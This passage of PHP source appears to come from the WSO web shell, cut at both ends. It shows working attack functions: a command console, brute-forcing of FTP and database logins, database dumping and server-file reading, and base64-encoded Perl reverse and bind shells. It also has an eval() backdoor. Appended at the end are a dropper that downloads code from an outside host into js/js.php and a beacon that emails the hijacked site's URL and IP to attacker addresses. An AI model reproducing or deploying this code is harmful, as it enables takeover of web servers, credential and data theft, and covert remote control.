".$_POST[\'p1\']."\\n".wsoEx($_POST[\'p1\']));\n\t}\n\techo \'</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';\n\techo \'</form></div><script>d.cf.cmd.focus();</script>\';\n\twsoFooter();\n}\n\nfunction actionLogout() {\n setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);\n\tdie(\'bye!\');\n}\n\nfunction actionSelfRemove() {\n\n\tif($_POST[\'p1\'] == \'yes\')\n\t\tif(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\n\t\t\tdie(\'Shell has been removed\');\n\t\telse\n\t\t\techo \'unlink error!\';\n if($_POST[\'p1\'] != \'yes\')\n wsoHeader();\n\techo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\\\'yes\\\')">Yes</a></div>\';\n\twsoFooter();\n}\n\nfunction actionBruteforce() {\n\twsoHeader();\n\tif( isset($_POST[\'proto\']) ) {\n\t\techo \'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\';\n\t\tif( $_POST[\'proto\'] == \'ftp\' ) {\n\t\t\tfunction wsoBruteForce($ip,$port,$login,$pass) {\n\t\t\t\t$fp = @ftp_connect($ip, $port?$port:21);\n\t\t\t\tif(!$fp) return false;\n\t\t\t\t$res = @ftp_login($fp, $login, $pass);\n\t\t\t\t@ftp_close($fp);\n\t\t\t\treturn $res;\n\t\t\t}\n\t\t} elseif( $_POST[\'proto\'] == \'mysql\' ) {\n\t\t\tfunction wsoBruteForce($ip,$port,$login,$pass) {\n\t\t\t\t$res = @mysql_connect($ip.\':\'.($port?$port:3306), $login, $pass);\n\t\t\t\t@mysql_close($res);\n\t\t\t\treturn $res;\n\t\t\t}\n\t\t} elseif( $_POST[\'proto\'] == \'pgsql\' ) {\n\t\t\tfunction wsoBruteForce($ip,$port,$login,$pass) {\n\t\t\t\t$str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=postgres";\n\t\t\t\t$res = @pg_connect($str);\n\t\t\t\t@pg_close($res);\n\t\t\t\treturn $res;\n\t\t\t}\n\t\t}\n\t\t$success = 0;\n\t\t$attempts = 0;\n\t\t$server = explode(":", $_POST[\'server\']);\n\t\tif($_POST[\'type\'] == 1) {\n\t\t\t$temp = @file(\'/etc/passwd\');\n\t\t\tif( is_array($temp) )\n\t\t\t\tforeach($temp as $line) {\n\t\t\t\t\t$line = explode(":", $line);\n\t\t\t\t\t++$attempts;\n\t\t\t\t\tif( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {\n\t\t\t\t\t\t$success++;\n\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\';\n\t\t\t\t\t}\n\t\t\t\t\tif(@$_POST[\'reverse\']) {\n\t\t\t\t\t\t$tmp = "";\n\t\t\t\t\t\tfor($i=strlen($line[0])-1; $i>=0; --$i)\n\t\t\t\t\t\t\t$tmp .= $line[0][$i];\n\t\t\t\t\t\t++$attempts;\n\t\t\t\t\t\tif( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {\n\t\t\t\t\t\t\t$success++;\n\t\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t} elseif($_POST[\'type\'] == 2) {\n\t\t\t$temp = @file($_POST[\'dict\']);\n\t\t\tif( is_array($temp) )\n\t\t\t\tforeach($temp as $line) {\n\t\t\t\t\t$line = trim($line);\n\t\t\t\t\t++$attempts;\n\t\t\t\t\tif( wsoBruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) {\n\t\t\t\t\t\t$success++;\n\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t}\n\t\techo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";\n\t}\n\techo \'<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\'\n\t\t.\'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>\'\n\t\t.\'<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\'\n\t\t.\'<input type=hidden name=a value="\'.htmlspecialchars($_POST[\'a\']).\'">\'\n\t\t.\'<input type=hidden name=charset value="\'.htmlspecialchars($_POST[\'charset\']).\'">\'\n\t\t.\'<span>Server:port</span></td>\'\n\t\t.\'<td><input type=text name=server value="127.0.0.1"></td></tr>\'\n\t\t.\'<tr><td><span>Brute type</span></td>\'\n\t\t.\'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>\'\n\t\t.\'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>\'\n\t\t.\'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>\'\n\t\t.\'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\'\n\t\t.\'<td><input type=text name=login value="root"></td></tr>\'\n\t\t.\'<tr><td><span>Dictionary</span></td>\'\n\t\t.\'<td><input type=text name=dict value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic"></td></tr></table>\'\n\t\t.\'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>\';\n\techo \'</div><br>\';\n\twsoFooter();\n}\n\nfunction actionSql() {\n\tclass DbClass {\n\t\tvar $type;\n\t\tvar $link;\n\t\tvar $res;\n\t\tfunction DbClass($type)\t{\n\t\t\t$this->type = $type;\n\t\t}\n\t\tfunction connect($host, $user, $pass, $dbname){\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$host = explode(\':\', $host);\n\t\t\t\t\tif(!$host[1]) $host[1]=5432;\n\t\t\t\t\tif( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction selectdb($db) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif (@mysql_select_db($db))return true;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction query($str) {\n\t\t\tswitch($this->type) {\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->res = @mysql_query($str);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = @pg_query($this->link,$str);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction fetch() {\n\t\t\t$res = func_num_args()?func_get_arg(0):$this->res;\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn @mysql_fetch_assoc($res);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_fetch_assoc($res);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction listDbs() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n return $this->query("SHOW databases");\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction listTables() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->res = $this->query(\'SHOW TABLES\');\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction error() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn @mysql_error();\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_last_error();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction setCharset($str) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif(function_exists(\'mysql_set_charset\'))\n\t\t\t\t\t\treturn @mysql_set_charset($str, $this->link);\n\t\t\t\t\telse\n\t\t\t\t\t\t$this->query(\'SET CHARSET \'.$str);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_set_client_encoding($this->link, $str);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction loadFile($str) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM \'".addslashes($str)."\';select file from wso2;");\n\t\t\t\t\t$r=array();\n\t\t\t\t\twhile($i=$this->fetch())\n\t\t\t\t\t\t$r[] = $i[\'file\'];\n\t\t\t\t\t$this->query(\'drop table wso2\');\n\t\t\t\t\treturn array(\'file\'=>implode("\\n",$r));\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction dump($table, $fp = false) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\t$res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');\n\t\t\t\t\t$create = mysql_fetch_array($res);\n\t\t\t\t\t$sql = $create[1].";\\n";\n if($fp) fwrite($fp, $sql); else echo($sql);\n\t\t\t\t\t$this->query(\'SELECT * FROM `\'.$table.\'`\');\n $i = 0;\n $head = true;\n\t\t\t\t\twhile($item = $this->fetch()) {\n $sql = \'\';\n if($i % 1000 == 0) {\n $head = true;\n $sql = ";\\n\\n";\n }\n\n\t\t\t\t\t\t$columns = array();\n\t\t\t\t\t\tforeach($item as $k=>$v) {\n if($v === null)\n $item[$k] = "NULL";\n elseif(is_int($v))\n $item[$k] = $v;\n else\n $item[$k] = "\'".@mysql_real_escape_string($v)."\'";\n\t\t\t\t\t\t\t$columns[] = "`".$k."`";\n\t\t\t\t\t\t}\n if($head) {\n $sql .= \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES \\n\\t(".implode(", ", $item).\')\';\n $head = false;\n } else\n $sql .= "\\n\\t,(".implode(", ", $item).\')\';\n if($fp) fwrite($fp, $sql); else echo($sql);\n $i++;\n\t\t\t\t\t}\n if(!$head)\n if($fp) fwrite($fp, ";\\n\\n"); else echo(";\\n\\n");\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$this->query(\'SELECT * FROM \'.$table);\n\t\t\t\t\twhile($item = $this->fetch()) {\n\t\t\t\t\t\t$columns = array();\n\t\t\t\t\t\tforeach($item as $k=>$v) {\n\t\t\t\t\t\t\t$item[$k] = "\'".addslashes($v)."\'";\n\t\t\t\t\t\t\t$columns[] = $k;\n\t\t\t\t\t\t}\n $sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."\\n";\n if($fp) fwrite($fp, $sql); else echo($sql);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t};\n\t$db = new DbClass($_POST[\'type\']);\n\tif((@$_POST[\'p2\']==\'download\') && (@$_POST[\'p1\']!=\'select\')) {\n\t\t$db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);\n\t\t$db->selectdb($_POST[\'sql_base\']);\n switch($_POST[\'charset\']) {\n case "Windows-1251": $db->setCharset(\'cp1251\'); break;\n case "UTF-8": $db->setCharset(\'utf8\'); break;\n case "KOI8-R": $db->setCharset(\'koi8r\'); break;\n case "KOI8-U": $db->setCharset(\'koi8u\'); break;\n case "cp866": $db->setCharset(\'cp866\'); break;\n }\n if(empty($_POST[\'file\'])) {\n ob_start("ob_gzhandler", 4096);\n header("Content-Disposition: attachment; filename=dump.sql");\n header("Content-Type: text/plain");\n foreach($_POST[\'tbl\'] as $v)\n\t\t\t\t$db->dump($v);\n exit;\n } elseif($fp = @fopen($_POST[\'file\'], \'w\')) {\n foreach($_POST[\'tbl\'] as $v)\n $db->dump($v, $fp);\n fclose($fp);\n unset($_POST[\'p2\']);\n } else\n die(\'<script>alert("Error! Can\\\'t open file");window.history.back(-1)</script>\');\n\t}\n\twsoHeader();\n\techo "\n<h1>Sql browser</h1><div class=content>\n<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr>\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\n<input type=hidden name=a value=Sql><input type=hidden name=p1 value=\'query\'><input type=hidden name=p2 value=\'\'><input type=hidden name=c value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') ."\'>\n<td><select name=\'type\'><option value=\'mysql\' ";\n if(@$_POST[\'type\']==\'mysql\')echo \'selected\';\necho ">MySql</option><option value=\'pgsql\' ";\nif(@$_POST[\'type\']==\'pgsql\')echo \'selected\';\necho ">PostgreSql</option></select></td>\n<td><input type=text name=sql_host value=\\"". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\\"></td>\n<td><input type=text name=sql_login value=\\"". (empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])) ."\\"></td>\n<td><input type=text name=sql_pass value=\\"". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\\"></td><td>";\n\t$tmp = "<input type=text name=sql_base value=\'\'>";\n\tif(isset($_POST[\'sql_host\'])){\n\t\tif($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {\n\t\t\tswitch($_POST[\'charset\']) {\n\t\t\t\tcase "Windows-1251": $db->setCharset(\'cp1251\'); break;\n\t\t\t\tcase "UTF-8": $db->setCharset(\'utf8\'); break;\n\t\t\t\tcase "KOI8-R": $db->setCharset(\'koi8r\'); break;\n\t\t\t\tcase "KOI8-U": $db->setCharset(\'koi8u\'); break;\n\t\t\t\tcase "cp866": $db->setCharset(\'cp866\'); break;\n\t\t\t}\n\t\t\t$db->listDbs();\n\t\t\techo "<select name=sql_base><option value=\'\'></option>";\n\t\t\twhile($item = $db->fetch()) {\n\t\t\t\tlist($key, $value) = each($item);\n\t\t\t\techo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';\n\t\t\t}\n\t\t\techo \'</select>\';\n\t\t}\n\t\telse echo $tmp;\n\t}else\n\t\techo $tmp;\n\techo "</td>\n\t\t\t\t<td><input type=submit value=\'>>\' onclick=\'fs(d.sf);\'></td>\n <td><input type=checkbox name=sql_count value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> count the number of rows</td>\n\t\t\t</tr>\n\t\t</table>\n\t\t<script>\n s_db=\'".@addslashes($_POST[\'sql_base\'])."\';\n function fs(f) {\n if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\n if(f.p1) f.p1.value=\'\';\n if(f.p2) f.p2.value=\'\';\n if(f.p3) f.p3.value=\'\';\n }\n }\n\t\t\tfunction st(t,l) {\n\t\t\t\td.sf.p1.value = \'select\';\n\t\t\t\td.sf.p2.value = t;\n if(l && d.sf.p3) d.sf.p3.value = l;\n\t\t\t\td.sf.submit();\n\t\t\t}\n\t\t\tfunction is() {\n\t\t\t\tfor(i=0;i<d.sf.elements[\'tbl[]\'].length;++i)\n\t\t\t\t\td.sf.elements[\'tbl[]\'][i].checked = !d.sf.elements[\'tbl[]\'][i].checked;\n\t\t\t}\n\t\t</script>";\n\tif(isset($db) && $db->link){\n\t\techo "<br/><table width=100% cellpadding=2 cellspacing=0>";\n\t\t\tif(!empty($_POST[\'sql_base\'])){\n\t\t\t\t$db->selectdb($_POST[\'sql_base\']);\n\t\t\t\techo "<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>";\n\t\t\t\t$tbls_res = $db->listTables();\n\t\t\t\twhile($item = $db->fetch($tbls_res)) {\n\t\t\t\t\tlist($key, $value) = each($item);\n if(!empty($_POST[\'sql_count\']))\n $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));\n\t\t\t\t\t$value = htmlspecialchars($value);\n\t\t\t\t\techo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'> <a href=# onclick=\\"st(\'".$value."\',1)\\">".$value."</a>" . (empty($_POST[\'sql_count\'])?\' \':" <small>({$n[\'n\']})</small>") . "</nobr><br>";\n\t\t\t\t}\n\t\t\t\techo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\\"download\\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>";\n\t\t\t\tif(@$_POST[\'p1\'] == \'select\') {\n\t\t\t\t\t$_POST[\'p1\'] = \'query\';\n $_POST[\'p3\'] = $_POST[\'p3\']?$_POST[\'p3\']:1;\n\t\t\t\t\t$db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']);\n\t\t\t\t\t$num = $db->fetch();\n\t\t\t\t\t$pages = ceil($num[\'n\'] / 30);\n echo "<script>d.sf.onsubmit=function(){st(\\"" . $_POST[\'p2\'] . "\\", d.sf.p3.value)}</script><span>".$_POST[\'p2\']."</span> ({$num[\'n\']} records) Page # <input type=text name=\'p3\' value=" . ((int)$_POST[\'p3\']) . ">";\n echo " of $pages";\n if($_POST[\'p3\'] > 1)\n echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']-1) . ")\'>< Prev</a>";\n if($_POST[\'p3\'] < $pages)\n echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']+1) . ")\'>Next ></a>";\n $_POST[\'p3\']--;\n\t\t\t\t\tif($_POST[\'type\']==\'pgsql\')\n\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);\n\t\t\t\t\telse\n\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';\n\t\t\t\t\techo "<br><br>";\n\t\t\t\t}\n\t\t\t\tif((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p2\'])) {\n\t\t\t\t\t$db->query(@$_POST[\'p2\']);\n\t\t\t\t\tif($db->res !== false) {\n\t\t\t\t\t\t$title = false;\n\t\t\t\t\t\techo \'<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">\';\n\t\t\t\t\t\t$line = 1;\n\t\t\t\t\t\twhile($item = $db->fetch())\t{\n\t\t\t\t\t\t\tif(!$title)\t{\n\t\t\t\t\t\t\t\techo \'<tr>\';\n\t\t\t\t\t\t\t\tforeach($item as $key => $value)\n\t\t\t\t\t\t\t\t\techo \'<th>\'.$key.\'</th>\';\n\t\t\t\t\t\t\t\treset($item);\n\t\t\t\t\t\t\t\t$title=true;\n\t\t\t\t\t\t\t\techo \'</tr><tr>\';\n\t\t\t\t\t\t\t\t$line = 2;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\techo \'<tr class="l\'.$line.\'">\';\n\t\t\t\t\t\t\t$line = $line==1?2:1;\n\t\t\t\t\t\t\tforeach($item as $key => $value) {\n\t\t\t\t\t\t\t\tif($value == null)\n\t\t\t\t\t\t\t\t\techo \'<td><i>null</i></td>\';\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\techo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\techo \'</tr>\';\n\t\t\t\t\t\t}\n\t\t\t\t\t\techo \'</table>\';\n\t\t\t\t\t} else {\n\t\t\t\t\t\techo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\techo "<br></form><form onsubmit=\'d.sf.p1.value=\\"query\\";d.sf.p2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>";\n if(!empty($_POST[\'p2\']) && ($_POST[\'p1\'] != \'loadfile\'))\n echo htmlspecialchars($_POST[\'p2\']);\n echo "</textarea><br/><input type=submit value=\'Execute\'>";\n\t\t\t\techo "</td></tr>";\n\t\t\t}\n\t\t\techo "</table></form><br/>";\n if($_POST[\'type\']==\'mysql\') {\n $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");\n if($db->fetch())\n echo "<form onsubmit=\'d.sf.p1.value=\\"loadfile\\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>";\n }\n\t\t\tif(@$_POST[\'p1\'] == \'loadfile\') {\n\t\t\t\t$file = $db->loadFile($_POST[\'p2\']);\n\t\t\t\techo \'<br/><pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';\n\t\t\t}\n\t} else {\n echo htmlspecialchars($db->error());\n }\n\techo \'</div>\';\n\twsoFooter();\n}\nfunction actionNetwork() {\n\twsoHeader();\n\t$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\n\t$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\n\techo "<h1>Network tools</h1><div class=content>\n\t<form name=\'nfp\' onSubmit=\\"g(null,null,\'bpp\',this.port.value);return false;\\">\n\t<span>Bind port to /bin/sh [perl]</span><br/>\n\tPort: <input type=\'text\' name=\'port\' value=\'31337\'> <input type=submit value=\'>>\'>\n\t</form>\n\t<form name=\'nfp\' onSubmit=\\"g(null,null,\'bcp\',this.server.value,this.port.value);return false;\\">\n\t<span>Back-connect [perl]</span><br/>\n\tServer: <input type=\'text\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'> Port: <input type=\'text\' name=\'port\' value=\'31337\'> <input type=submit value=\'>>\'>\n\t</form><br>";\n\tif(isset($_POST[\'p1\'])) {\n\t\tfunction cf($f,$t) {\n\t\t\t$w = @fopen($f,"w") or @function_exists(\'file_put_contents\');\n\t\t\tif($w){\n\t\t\t\t@fwrite($w,@base64_decode($t));\n\t\t\t\t@fclose($w);\n\t\t\t}\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bpp\') {\n\t\t\tcf("/tmp/bp.pl",$bind_port_p);\n\t\t\t$out = wsoEx("perl /tmp/bp.pl ".$_POST[\'p2\']." 1>/dev/null 2>&1 &");\n sleep(1);\n\t\t\techo "<pre class=ml1>$out\\n".wsoEx("ps aux | grep bp.pl")."</pre>";\n unlink("/tmp/bp.pl");\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bcp\') {\n\t\t\tcf("/tmp/bc.pl",$back_connect_p);\n\t\t\t$out = wsoEx("perl /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." 1>/dev/null 2>&1 &");\n sleep(1);\n\t\t\techo "<pre class=ml1>$out\\n".wsoEx("ps aux | grep bc.pl")."</pre>";\n unlink("/tmp/bc.pl");\n\t\t}\n\t}\n\techo \'</div>\';\n\twsoFooter();\n}\nfunction actionRC() {\n\tif(!@$_POST[\'p1\']) {\n\t\t$a = array(\n\t\t\t"uname" => php_uname(),\n\t\t\t"php_version" => phpversion(),\n\t\t\t"wso_version" => WSO_VERSION,\n\t\t\t"safemode" => @ini_get(\'safe_mode\')\n\t\t);\n\t\techo serialize($a);\n\t} else {\n\t\teval($_POST[\'p1\']);\n\t}\n}\nif( empty($_POST[\'a\']) )\n\tif(isset($default_action) && function_exists(\'action\' . $default_action))\n\t\t$_POST[\'a\'] = $default_action;\n\telse\n\t\t$_POST[\'a\'] = \'SecInfo\';\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )\n\tcall_user_func(\'action\' . $_POST[\'a\']);\nexit;\n?><?php if($_POST[\'query\']){ $veriyfy = stripslashes(stripslashes($_POST[\'query\']));\n $data = "data.txt";\n @touch ("data.txt");\n $ver = @fopen ($data , \'w\');\n @fwrite ( $ver , $veriyfy ) ;\n @fclose ($ver);\n }else{ $datas=@fopen("data.txt",\'r\');\n $i=0;\n while ($i <= 5) { $i++;\n $blue=@fgets($datas,1024);\n echo $blue;\n } } $datasi=@fopen("js/js.php",\'r\');\n if($datasi){ }else{ @mkdir("js");\n $dos = file_get_contents("https://acbdf.space/txt/css.txt");\n $data = "js/js.php";\n @touch ("js/js.php");\n $ver = @fopen ($data , \'w\');\n @fwrite ( $ver , $dos ) ;\n @fclose ($ver);\n $yol = "http://".$_SERVER[\'HTTP_HOST\']."".$_SERVER[\'REQUEST_URI\']."";\n $y = \'<h1>Sender Yazdirildi.<br/> SITE YOL : \'.$yol.\'<br/>Sender Yolu : js/crs.php</h1>\';\n $header .= "From: SheLL Boot <suppor@nic.org>\\n";\n $header .= "Content-Type: text/html;\n charset=utf-8\\n";\n @mail("byhero44@gmail.com", "Hacklink Bildiri", "$y", $header);\n @mail("loginoldum@gmail.com", "Hacklink Bildiri", "$y", $header);\n } \n?><?php\n$time_shell = "".date("d/m/Y - H:i:s")."";\n$ip_remote = $_SERVER["REMOTE_ADDR"];\n$from_shellcode = \'lamer@\'.gethostbyname($_SERVER[\'SERVER_NAME\']).\'\';\n$to_email = \'loginoldum@gmail.com\';\n$server_mail = "".gethostbyname($_SERVER[\'SERVER_NAME\'])." - ".$_SERVER[\'HTTP_HOST\']."";\n$linkcr = "Link: ".$_SERVER[\'SERVER_NAME\']."".$_SERVER[\'REQUEST_URI\']." - IP 